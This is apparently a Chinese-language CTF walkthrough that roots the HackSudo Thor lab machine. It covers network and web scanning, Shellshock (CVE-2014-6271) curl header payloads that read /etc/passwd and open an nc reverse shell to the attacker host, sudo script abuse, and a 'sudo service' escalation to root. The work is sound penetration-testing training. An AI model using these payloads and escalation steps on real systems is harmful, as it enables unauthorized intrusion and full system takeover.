目录
- 1. IP探测
- 2.端口服务扫描
- 3.网站漏洞扫描
- 4.目录扫描
- 5.信息分析
- 6.破壳漏洞(Shellshock)
- nmap---漏洞检测
- CVE-2014-6271
- 7.nc反弹
- 8.提权
- 9.service提权
1. IP探测
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.0.140
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 b8:3a:08:3b:f9:30 Tenda Technology Co.,Ltd.Dongguan branch
192.168.0.130 08:00:27:4b:48:b0 PCS Systemtechnik GmbH
192.168.0.139 7c:b5:66:a5:f0:a5 Intel Corporate
192.168.0.101 42:fd:92:b5:74:21 (Unknown: locally administered)4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.938 seconds (132.09 hosts/sec). 4 responded┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.0.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 08:07 EST
Nmap scan report for 192.168.0.1 (192.168.0.1)
Host is up (0.026s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: B8:3A:08:3B:F9:30 (Tenda Technology,Ltd.Dongguan branch)Nmap scan report for 192.168.0.101 (192.168.0.101)
Host is up (0.019s latency).
All 1000 scanned ports on 192.168.0.101 (192.168.0.101) are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 42:FD:92:B5:74:21 (Unknown)Nmap scan report for 192.168.0.130 (192.168.0.130)
Host is up (0.00033s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:4B:48:B0 (Oracle VirtualBox virtual NIC)Nmap scan report for 192.168.0.139 (192.168.0.139)
Host is up (0.00038s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 7C:B5:66:A5:F0:A5 (Intel Corporate)Nmap scan report for 192.168.0.140 (192.168.0.140)
Host is up (0.0000040s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open sshNmap done: 256 IP addresses (5 hosts up) scanned in 18.55 seconds192.168.0.130
2.端口服务扫描
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.0.130 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 08:09 EST
Nmap scan report for 192.168.0.130 (192.168.0.130)
Host is up (0.0025s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:4B:48:B0 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -O 192.168.0.130 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 08:08 EST
Nmap scan report for 192.168.0.130 (192.168.0.130)
Host is up (0.00088s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 3736603e26ae233fe18b5d18e7a7c7ce (RSA)
| 256 349a57607d6670d5b5ff4796e0362375 (ECDSA)
|_ 256 ae7deefe1dbc994d54453d6116f86c87 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:4B:48:B0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.82 seconds
3.网站漏洞扫描
┌──(root㉿kali)-[~]
└─# nmap --script=vuln -p21,22,80 192.168.0.130 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 08:12 EST
Nmap scan report for 192.168.0.130 (192.168.0.130)
Host is up (0.0011s latency).PORT STATE SERVICE
21/tcp filtered ftp
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /admin_login.php: Possible admin folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.0.1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-fileupload-exploiter:
|
| Couldn't find a file-type field.
|
|_ Couldn't find a file-type field.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.0.130
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.0.130:80/
| Form id:
| Form action: customer_login_action.php
|
| Path: http://192.168.0.130:80/home.php
| Form id:
| Form action: customer_login_action.php
|
| Path: http://192.168.0.130:80/customer_login_action.php
| Form id:
|_ Form action: customer_login_action.php
|_http-phpself-xss: ERROR: Script execution failed (use -d to debug)
MAC Address: 08:00:27:4B:48:B0 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 32.61 seconds
┌──(root㉿kali)-[~]
└─# nikto -h 192.168.0.130
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.130
+ Target Hostname: 192.168.0.130
+ Target Port: 80
+ Start Time: 2024-02-11 08:14:15 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8725 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2024-02-11 08:15:05 (GMT-5) (50 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested*********************************************************************Portions of the server's headers (Apache/2.4.38) are not inthe Nikto 2.1.6 database or are newer than the known string. Would you liketo submit this information (*no server specific data*) to CIRT.netfor a Nikto update (or you may email to sullo@cirt.net) (y/n)? y+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!
4.目录扫描
┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.0.130" _|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.0.130/_24-02-11_08-11-40.txtTarget: http://192.168.0.130/[08:11:40] Starting:
[08:11:42] 403 - 278B - /.ht_wsr.txt
[08:11:42] 403 - 278B - /.htaccess.sample
[08:11:42] 403 - 278B - /.htaccess.bak1
[08:11:42] 403 - 278B - /.htaccess_extra
[08:11:42] 403 - 278B - /.htaccess_orig
[08:11:42] 403 - 278B - /.htaccess.orig
[08:11:42] 403 - 278B - /.htaccessOLD2
[08:11:42] 403 - 278B - /.htaccessOLD
[08:11:42] 403 - 278B - /.htaccessBAK
[08:11:42] 403 - 278B - /.html
[08:11:42] 403 - 278B - /.htm
[08:11:42] 403 - 278B - /.htaccess_sc
[08:11:42] 403 - 278B - /.htaccess.save
[08:11:42] 403 - 278B - /.htpasswd_test
[08:11:42] 403 - 278B - /.htpasswds
[08:11:42] 403 - 278B - /.httr-oauth
[08:11:43] 403 - 278B - /.php
[08:11:51] 302 - 7KB - /admin_home.php -> home.php
[08:11:51] 200 - 489B - /admin_login.php
[08:11:59] 403 - 278B - /cgi-bin/
[08:12:01] 200 - 1KB - /contact.php
[08:12:06] 301 - 314B - /fonts -> http://192.168.0.130/fonts/
[08:12:08] 200 - 278B - /header.php
[08:12:08] 200 - 2KB - /home.php
[08:12:09] 301 - 315B - /images -> http://192.168.0.130/images/
[08:12:09] 200 - 666B - /images/
[08:12:16] 200 - 3KB - /news.php
[08:12:23] 200 - 4KB - /README.md
[08:12:25] 403 - 278B - /server-status
[08:12:25] 403 - 278B - /server-status/ Task Completed
┌──(root㉿kali)-[~]
└─# dirb http://192.168.0.130 -----------------
DIRB v2.22
By The Dark Raver
-----------------START_TIME: Sun Feb 11 08:14:49 2024
URL_BASE: http://192.168.0.130/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.0.130/ ----
+ http://192.168.0.130/cgi-bin/ (CODE:403|SIZE:278)
==> DIRECTORY: http://192.168.0.130/fonts/
==> DIRECTORY: http://192.168.0.130/images/
+ http://192.168.0.130/index.php (CODE:200|SIZE:5357)
+ http://192.168.0.130/server-status (CODE:403|SIZE:278) ---- Entering directory: http://192.168.0.130/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.0.130/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)-----------------
END_TIME: Sun Feb 11 08:14:59 2024
DOWNLOADED: 4612 - FOUND: 35.信息分析
通过上面一系列的探测，可以得到靶机：192.168.0.130，开放了21（被防火墙过滤），22（ssh服务），80（http服务）
访问80端口页面，看看有什么信息，一个登陆页面，并没有发现什么。
访问dirsearch，扫出来的目录/admin_login.php，是一个后台登陆的页面，尝试弱密码登陆，不行，还有一个/README.md目录，下载以后，
看到admin/password123账号密码，登陆成功
在Manage Customers中找到四个用户密码。
6.破壳漏洞(Shellshock)
破壳漏洞（Shellshock）是指一个影响Unix和Linux操作系统的严重安全漏洞，它影响了Bash命令解释器。该漏洞使攻击者能够在受影响的系统上执行任意代码，从而可能导致系统被入侵。
Shellshock漏洞的原因是Bash解释器在处理特定的环境变量时存在一个安全漏洞，攻击者可以通过构造恶意的环境变量来执行任意的Shell命令。这个漏洞的危害性很高，因为Bash是许多Unix系统和Linux系统中常用的Shell
得到了账号密码，也没有什么用，一筹莫展的时候，发现http://192.168.0.130/news.php这个目录，源代码中看到亮眼的/cgi-bin/
访问/cgi-bin目录，状态码403，代表没有权限，那我们扫一下这个目录
┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.0.130/cgi-bin/"_|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.0.130/_cgi-bin__24-02-11_08-47-25.txtTarget: http://192.168.0.130/[08:47:25] Starting: cgi-bin/
[08:48:09] 500 - 611B - /cgi-bin/shell.sh Task Completed nmap—漏洞检测
扫到shell.sh，看看是否有破壳漏洞
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh 192.168.0.130--script http-shellshock: http-shellshock 是一个用于检测 Shellshock漏洞的脚本。Shellshock 是一个在 Bash shell 中发现的安全漏洞，允许远程攻击者执行任意代码┌──(root㉿kali)-[~]
└─# nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh 192.168.0.130
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 09:07 EST
Nmap scan report for 192.168.0.130 (192.168.0.130)
Host is up (0.0012s latency).PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
| http://seclists.org/oss-sec/2014/q3/685
|_ http://www.openwall.com/lists/oss-security/2014/09/24/10
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:4B:48:B0 (Oracle VirtualBox virtual NIC)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
CVE-2014-6271
直接去GitHub搜CVE-2014-6271，找exp
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \ http://localhost:8080/cgi-bin/vulnerablelocalhost:靶机IP地址
端口：80
vulnerable：漏洞入口-->shell.shcurl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \ http://192.168.0.130:80/cgi-bin/shell.sh
命令执行成功
┌──(root㉿kali)-[~]
└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \ http://192.168.0.130/cgi-bin/shell.sh
curl: (3) URL using bad/illegal format or missing URLroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
ftpuser:x:1005:1004::/dev/null:/etc/
thor:x:1001:1001:,,,:/home/thor:/bin/bash
sddsd7.nc反弹
┌──(root㉿kali)-[~]
└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.0.140 6666'" \ http://192.168.0.130/cgi-bin/shell.sh
┌──(root㉿kali)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.0.140] from (UNKNOWN) [192.168.0.130] 56356
python3 -c 'import pty;pty.spawn("/bin/bash")'
bash-4.3$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-4.3$
8.提权
sudo -l 发现可执行文件/home/thor/./hammer.sh，执行，发现输入的命令，会以thor用户执行，所以执行bash，以Thor用户新开一个bash环境。
bash-4.3$ sudo -l
sudo -l
Matching Defaults entries for www-data on HackSudoThor:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser www-data may run the following commands on HackSudoThor:(thor) NOPASSWD: /home/thor/./hammer.shbash-4.3$ sudo -u thor /home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.shHELLO want to talk to Thor?Enter Thor Secret Key : id
id
Hey Dear ! I am id , Please enter your Secret massage : id
id
uid=1001(thor) gid=1001(thor) groups=1001(thor)
Thank you for your precious time!
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.shHELLO want to talk to Thor?Enter Thor Secret Key : bash
bash
Hey Dear ! I am bash , Please enter your Secret massage : bash
bash
id
id
uid=1001(thor) gid=1001(thor) groups=1001(thor)
9.service提权
python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
thor@HacksudoThor:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for thor on HackSudoThor:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser thor may run the following commands on HackSudoThor:(root) NOPASSWD: /usr/bin/cat, /usr/sbin/service
https://gtfobins.github.io/gtfobins/service/
thor@HacksudoThor:/usr/lib/cgi-bin$ sudo service ../../bin/sh
sudo service ../../bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# ls
ls
proof.txt root.txt
# cat root.txt
cat root.txt
rooted
# cat proof.txt
cat proof.txt
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